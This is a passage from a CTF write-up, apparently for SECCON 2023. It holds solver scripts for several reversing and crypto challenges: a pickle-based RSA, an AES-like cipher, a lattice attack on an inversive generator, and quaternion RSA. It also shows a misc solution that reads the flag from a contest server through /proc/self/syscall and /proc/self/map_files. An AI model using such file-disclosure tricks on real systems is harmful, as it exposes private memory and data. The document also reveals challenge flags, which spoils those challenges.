  824: R    REDUCE
  825: (    MARK
  826: I        INT        8215359690687096682
  847: I        INT        1862662588367509514
  868: I        INT        8350772864914849965
  889: I        INT        11616510986494699232
  911: I        INT        3711648467207374797
  932: I        INT        9722127090168848805
  953: I        INT        16780197523811627561
  975: I        INT        18138828537077112905
  997: l        LIST       (MARK at 825)
  998: \x85 TUPLE1
  999: R    REDUCE
 1000: 0    POP
 1001: .    STOP
highest protocol among opcodes = 4
```

It checked every bytes of the input is less than `127` and encrypted the data by RSA on CBC like system.

```python=
t = [8215359690687096682,
1862662588367509514,
8350772864914849965,
11616510986494699232,
3711648467207374797,
9722127090168848805,
16780197523811627561,
18138828537077112905]

x = 1244422970072434993
flag = b''
for i in range(len(t)):
    flag += (pow(t[i], 1563288166766602825, 18446744073709551557) ^ x).to_bytes(8, 'little')
    x = t[i]

print(flag.decode())
```

### xuyao

It has AES-like encryption routine. But the last row of encrypted block is dependent on other rows at each round.

So, we could implement decryptor easily.

```python=
enc = bytes.fromhex('FE 60 A8 C0 3B FE BC 66 FC 9A 9B 31 9A D8 03 BB A9 E1 56 FC FC 11 9F 89 5F 4D 9F E0 9F AE 2A CF 5E 73 CB EC 3F FF B9 D1 99 44 1B 9A 79 79 EC D1 B4 FD EA 2B E2 F1 1A 70 76 3C 2E 7F 3F 3B 7B 66 A3 4B 1B 5C 0F BE DD 98 5A 5B D0 0A 3D 7E 2C 10 56 2A 10 87 5D D9 B9 7F 3E 2E 86 B7 17 04 DF B1 27 C4 47 E2 D9 7A 9A 48 7C DB C6 1D 3C 00 A3 21')
sbox = bytes.fromhex('63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16')
ibox = [sbox.index(i) for i in range(256)]
ROL = lambda a,b: ((a << b) | (a >> (32 - b))) & 0xFFFFFFFF
'''
0x7ffff7fba044:	0xf6067814	0xed73cb7e	0x1583a8b2	0x0dde8d93
0x7ffff7fba054:	0x23e2374b	0x40b83c72	0x0b3f811a	0xd6e7a993
0x7ffff7fba064:	0x2622de7c	0xc581dcae	0xa906524c	0xdb4f2cc1
0x7ffff7fba074:	0x0ddb3477	0x8c1a92a4	0x3bd711c0	0x1bb16503
0x7ffff7fba084:	0x00acd720	0x2735f2d0	0x9a9300fe	0xfb2556a7
0x7ffff7fba094:	0xcbe1fe58	0xc03db8c9	0xf77cb701	0x0a1f85ae
0x7ffff7fba0a4:	0x14dd27dc	0xe1a5e3a9	0x41d1f9ee	0xfe6afce7
0x7ffff7fba0b4:	0xd80eac32	0xf43efead	0x6475d80f	0x38a310d6
'''
expanded_key = [
    0xf6067814,	0xed73cb7e,	0x1583a8b2,	0x0dde8d93,
    0x23e2374b,	0x40b83c72,	0x0b3f811a,	0xd6e7a993,
    0x2622de7c,	0xc581dcae,	0xa906524c,	0xdb4f2cc1,
    0x0ddb3477,	0x8c1a92a4,	0x3bd711c0,	0x1bb16503,
    0x00acd720,	0x2735f2d0,	0x9a9300fe,	0xfb2556a7,
    0xcbe1fe58,	0xc03db8c9,	0xf77cb701,	0x0a1f85ae,
    0x14dd27dc,	0xe1a5e3a9,	0x41d1f9ee,	0xfe6afce7,
    0xd80eac32,	0xf43efead,	0x6475d80f,	0x38a310d6
]

enc = [int.from_bytes(enc[i:i+4],'big') for i in range(0, len(enc), 4)]

flag = b''
for I in range(0, len(enc), 4):
    a,b,c,d = enc[I+0:I+4][::-1]

    for i in range(len(expanded_key) - 1, -1, -1):
        k = expanded_key[i]
        b,c,d,v5 = a,b,c,d
        x = b^c^d^k
        u = 0
        for j in range(0, 32, 8):
            v11 = sbox[(x >> j) & 0xFF] << j;
            u |= v11
        x = u
        x ^= ROL(u, 3)
        x ^= ROL(u, 14)
        x ^= ROL(u, 15)
        x ^= ROL(u, 9)

        a = x ^ v5
        # print(hex(a))

    flag += a.to_bytes(4,'big') + b.to_bytes(4,'big') + c.to_bytes(4,'big') + d.to_bytes(4,'big')

print(flag)
```

## Crypto

### CIG

With some computation, one can compute fixed constants $A, B$ such that $x_2 = A + B / x_1 \pmod{N}$ where $x_1, x_2$ are the generated outputs without the final mod $2^{256}$ operation, and $N = p_1 p_2 p_3$. 

With nine 32-byte data, we can set $small_1, \cdots , small_9$ as the small values such that $x_i = known_i + 2^{256} \cdot small_i$ where $known_i$ are the given 32-byte datasets. 

Using the recurrence relation $x_{i+1} = A + B / x_i \pmod{N}$, one can compute known constants $A_t, B_t, C_t, D_t$ such that 

$$x_{i+t} = \frac{A_t x_i + B_t}{C_t x_i + D_t} \pmod{N}$$

This gives a equation on $small_i, small_j, small_i \cdot small_j$.

Since $small_i < N / 2^{256}$, we can take the equations for each $1 \le i < j \le 9$ and apply the naive bound $small_i < N / 2^{256}$, $small_i small_j < (N / 2^{256})^2$ and apply a lattice algorithm to recover all $small_i$ values. The recovery of the flag can be done simply by reversing the recurrence as $x_i = B/(x_{i+1} - A) \pmod{N}$.

```python=
from sage.all import * 
import random as rand
from Crypto.Util.number import inverse

from sage.modules.free_module_integer import IntegerLattice

# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
	M = IntegerLattice(mat, lll_reduce=True).reduced_basis
	G = M.gram_schmidt()[0]
	diff = target
	for i in reversed(range(G.nrows())):
		diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
	return target - diff


def solve(M, lbounds, ubounds, weight = None):
	mat, lb, ub = copy(M), copy(lbounds), copy(ubounds)
	num_var  = mat.nrows()
	num_ineq = mat.ncols()

	max_element = 0 
	for i in range(num_var):
		for j in range(num_ineq):
			max_element = max(max_element, abs(mat[i, j]))

	if weight == None:
		weight = num_ineq * max_element

    # sanity checker
	if len(lb) != num_ineq:
		print("Fail: len(lb) != num_ineq")
		return

	if len(ub) != num_ineq:
		print("Fail: len(ub) != num_ineq")
		return

	for i in range(num_ineq):
		if lb[i] > ub[i]:
			print("Fail: lb[i] > ub[i] at index", i)
			return

    	# heuristic for number of solutions
	DET = 0

	if num_var == num_ineq:
		DET = abs(mat.det())
		num_sol = 1
		for i in range(num_ineq):
			num_sol *= (ub[i] - lb[i])
		if DET == 0:
			print("Zero Determinant")
		else:
			num_sol //= DET
			# + 1 added in for the sake of not making it zero...
			print("Expected Number of Solutions : ", num_sol + 1)

	# scaling process begins
	max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
	applied_weights = []

	for i in range(num_ineq):
		ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
		applied_weights.append(ineq_weight)
		for j in range(num_var):
			mat[j, i] *= ineq_weight
		lb[i] *= ineq_weight
		ub[i] *= ineq_weight

	# Solve CVP
	target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
	result = Babai_CVP(mat, target)

	for i in range(num_ineq):
		if (lb[i] <= result[i] <= ub[i]) == False:
			print("Fail : inequality does not hold after solving")
			break
    
    	# recover x
	fin = None

	if DET != 0:
		mat = mat.transpose()
		fin = mat.solve_right(result)
	
	## recover your result
	return result, applied_weights, fin

def prod(x: list[int]) -> int:
    return reduce(lambda a, b: a * b, x, 1)


def xor(x: bytes, y: bytes) -> bytes:
    return bytes([xi ^ yi for xi, yi in zip(x, y)])

enc_flag = b'\xd5 \xc3b\xa3\xa1\xd6\xe5Sv\xe7%n\xd6\xd6UcQNYU\x1arR\xdes\xb4\x12\xc9\xed\x1a\xc6^=\xe1\xe3p@\xe65\x19\x18S\x80\xa4TE\x7f\x92\x07&"\xdf\xc9\xe1\xbd@QL\xcf\x90\x98\xd9C$\xcb\xb4U'
leaked = b"^\xed>\x03\xad\x8c\x1d\xa1\xe29\x83\x92\xbdm\xefL\xe5\xe5\xab\xc9\xffZ\xbd8\x95\x97\xa3i/k\xb1\x8dSD\x1e\x92;\x87\xa7\x16\xdc\x98\x15\x1ba\xc3fQ\xa9\t\xe8ak.0\xe3\x93\xba\x82\xb2%\xc2\x88]u\xeb\xfctKw\xe5\xcc\xd2\xce\xa7\x8c\xd6T\xe3\xfa$\xec\xca\xcc\x1a\x08\xbd3\xdd!D\xc8\xa7}\xeb\xd2=\xfb\x96\xeek\xdef>\xedm\t\x12\xe6\xeeO\xc5\xbe\xcev\x9aB\x90\x84\x981j'\xb18\xbb\x08\x93\xbd\xf9\xb1>/\x81\x83]\x93C\x84D\x9b5\xd0l\xcfQa\xe3\x1ev !\xd6W\xbc\x9b\xccV\xd65\x84\t\xd2\xdd\xde\xffs\xcc\x80\x16\x9cg\xcf\xa4&l\x8f\x82J\x16\xc7qNN\x90\x89\xef\xa6\xb8\x8c\xcb\xf8q\x0f.)\xa7 \x8b\x14\x83\xca-\x7fvP\x1a\x08\xb6^\x18\xd5\x9b\x01\xfa[\xdf3J\xc0\x85\x02\xe3\x16\\\x93\x17B\xd6\x8e2\xabia\xf1hT+][\x19c<\x06\xea%m\xc0\x01\xc6'\x95t\xf3\xf4\xd7\xe1f\xcd\x8f\xb0\xa3\\\xcfv\xa8\xfb\xb6\x03\xc4R\xe0\x10\xbb\xcb>\x0e\x94H8\xbe\x0c\xf6\x9c\xbf\xa1^\x178\t1\xda\xd4\xc3cm\x84}\x9d\x84"

p1 = 21267647932558653966460912964485513283
a1 = 6701852062049119913950006634400761786
b1 = 19775891958934432784881327048059215186
p2 = 21267647932558653966460912964485513289
a2 = 10720524649888207044145162345477779939
b2 = 19322437691046737175347391539401674191
p3 = 21267647932558653966460912964485513327
a3 = 8837701396379888544152794707609074012
b3 = 10502852884703606118029748810384117800

class ICG:
    def __init__(self, p: int, a: int, b: int) -> None:
        self.p = p
        self.a = a
        self.b = b
        self.x = rand.randint(0, p - 1)

    def _next(self) -> int:
        if self.x == 0:
            self.x = self.b
            return self.x
        else:
            self.x = (self.a * pow(self.x, -1, self.p) + self.b) % self.p
            return self.x


class CIG:
    L = 256

    def __init__(self, icgs: list[ICG]) -> None:
        self.icgs = icgs
        self.T = prod([icg.p for icg in self.icgs])
        self.Ts = [self.T // icg.p for icg in self.icgs]
    
    def _next(self) -> int:
        ret = 0
        for icg, t in zip(self.icgs, self.Ts):
            ret += icg._next() * t
            ret %= self.T
        return ret

GEN = CIG([ICG(p1, a1, b1), ICG(p2, a2, b2), ICG(p3, a3, b3)])

N = p1 * p2 * p3 
A = (p2 * p3 * b1 + p1 * p2 * b3 + p3 * p1 * b2) % (p1 * p2 * p3)
B = (a1 * p2 * p3 * p2 * p3 + a2 * p3 * p3 * p1 * p1 + a3 * p1 * p1 * p2 * p2) % (p1 * p2 * p3)

x = GEN._next()
y = GEN._next()

assert (A + B * inverse(x, N)) % N == y

coefs = [[0] * 4 for _ in range(9)]

coefs[1] = [A, B, 1, 0]

for i in range(2, 9):
    u, v, c, d = coefs[i-1][0], coefs[i-1][1], coefs[i-1][2], coefs[i-1][3]
    coefs[i] = [(A * u + B * c) % N, (A * v + B * d) % N, u, v]

for i in range(1, 9):
    x = GEN._next()
    for j in range(i):
        y = GEN._next()
    assert y == ((coefs[i][0] * x + coefs[i][1]) * inverse(coefs[i][2] * x + coefs[i][3], N)) % N

K = 9

vals = [0] * K
for i in range(K):
    vals[i] = int.from_bytes(leaked[32 * i : 32 * i + 32], "big")

cc = 1 << 256

idxs = [[0] * K for _ in range(K)]

cur = K
for i in range(K):
    for j in range(i + 1, K):
        idxs[i][j] = cur 
        cur += 1

M = Matrix(ZZ, K * K, K * K)
offset = cur
lb = [0] * (K * K)
ub = [0] * (K * K)

for i in range(K):
    for j in range(i + 1, K):
        dif = j - i 
        # (coefs[dif][0] * (2^256 * var_i + vals[i]) + coefs[dif][1])
        # (coefs[dif][2] * (2^256 * var_i + vals[i]) + coefs[dif][3]) * (2^256 * var_j + vals[j])
        var_i_left = coefs[dif][0] * cc 
        const_left = coefs[dif][0] * vals[i] + coefs[dif][1]
        var_i_j_right = coefs[dif][2] * cc * cc
        var_i_right = coefs[dif][2] * cc * vals[j]
        var_j_right = (coefs[dif][2] * vals[i] + coefs[dif][3]) * cc
        const_right = (coefs[dif][2] * vals[i] + coefs[dif][3]) * vals[j]
        M[i, idxs[i][j] - K] = (var_i_left - var_i_right) % N
        M[j, idxs[i][j] - K] = (-var_j_right) % N
        M[idxs[i][j], idxs[i][j] - K] = (-var_i_j_right) % N
        M[offset + idxs[i][j] - K, idxs[i][j] - K] = N 

        lb[idxs[i][j] - K] = (const_right - const_left) % N
        ub[idxs[i][j] - K] = (const_right - const_left) % N

for i in range(K):
    M[i, offset - K + i] = 1
    lb[offset - K + i] = 0
    ub[offset - K + i] = N >> 256

for i in range(K):
    for j in range(i + 1, K):
        M[idxs[i][j], offset + idxs[i][j] - K] = 1
        lb[offset + idxs[i][j] - K] = 0
        ub[offset + idxs[i][j] - K] = (N >> 256) ** 2

cc = [57804297745068165924043436682464546, 71703226799396355798160218283589859, 43903357625865285041134655854723702, 7093107694488723732884036958291294, 81431809685050221847574458532332810, 68572964751870276141827901920468577, 70580211875229687245848456630493291, 1573725101669168478449903932713785, 66112119169252413992616503718509999]

start = vals[0] + (cc[0] << 256)
for i in range(1, 8):
    start = (A + B * inverse(start, N)) % N
    if start != vals[i] + (cc[i] << 256):
        print(i)

start = vals[0] + (cc[0] << 256)

res = b""
start = (B * inverse(start - A, N)) % N 

res = int.to_bytes(start % (1 << 256), 32, "big")[:4]

start = (B * inverse(start - A, N)) % N 

res = int.to_bytes(start % (1 << 256), 32, "big") + res

start = (B * inverse(start - A, N)) % N 

res = int.to_bytes(start % (1 << 256), 32, "big") + res 

print(xor(enc_flag, res))

'''
result, applied_weights, fin = solve(M, lb, ub)

lmao = [0] * K
for i in range(K):
    lmao[i] = fin[i]

print(lmao)

for i in range(K):
    for j in range(i + 1, K):
        if fin[idxs[i][j]] != lmao[i] * lmao[j]:
            print("HUH")

print(len(enc_flag))
'''
```


### plai_n-rsa

Just exhaustive search the possibilities of phi(divisor of e * d - 1), and check if those phi(pq - p - q + 1), hint(p + q) has roots. After finding the roots, we can recover n and decrypt the flag.

ex.sage
```python
e=65537
d=15...
hint=27...
c=88...

for i in range(1, 65537)[::-1]:
	phi = (e * d - 1) // i

	if phi * i != e * d - 1:
		continue

	add = hint
	mul = phi + add - 1

	if (add^2 - 4 * mul).sqrt() in ZZ:
		p = ((add^2 - 4 * mul).sqrt() + hint) // 2
		break

q = hint - p

n = p * q

from Crypto.Util.number import *

print(long_to_bytes(pow(c, d, n)))

```

### RSA 4.0

Power of `a + bi + cj + dk` is always represented in form of: `x + y(bi + cj + dk)`. 
Using this fact, we can recover multiple of p from second term, and gcd with n to factorize n.

After that, multiplicative order of Quaternion element is `p^2 - 1`, so set the order to `(p^2 - 1) * (q^2 - 1)` and find the d.

ex.sage
```python
from Crypto.Util.number import *

f = open("output.txt", "r")

exec(f.readline())
Q = QuaternionAlgebra(Zmod(n), -1, -1)
i, j, k = Q.gens()


exec(f.readline())
exec(f.readline())


Zn = Zmod(n)

M = Matrix(Zn, [[3, 1, 337], [3, 13, 37], [7, 133, 7]])
res = M^-1 * vector(Zn, list(enc)[1:])
p = gcd(ZZ(res[1]), n)
q = n // p

order = (p^2 - 1) * (q^2 - 1)
d = pow(e, -1, order)


m = ZZ(list(enc^d)[0])

print(long_to_bytes(m))
```

## Misc

### readme 2023

There's an address of libc in `/proc/self/syscall`.

The flag's area was at `(leaked libc address + 958339)`.

So, we calculated the flag's address and read `/proc/self/map_files/something-something+0x1000`

```
❯ nc readme-2023.seccon.games 2023
path: /proc/self/syscall
b'0 0x7 0x55c3badda6b0 0x400 0x2 0x0 0x0 0x7ffff1e2e038 0x7f2d762a907d\n'
path: /proc/self/map_files/7f2d76393000-7f2d76394000
b'SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}\n'
```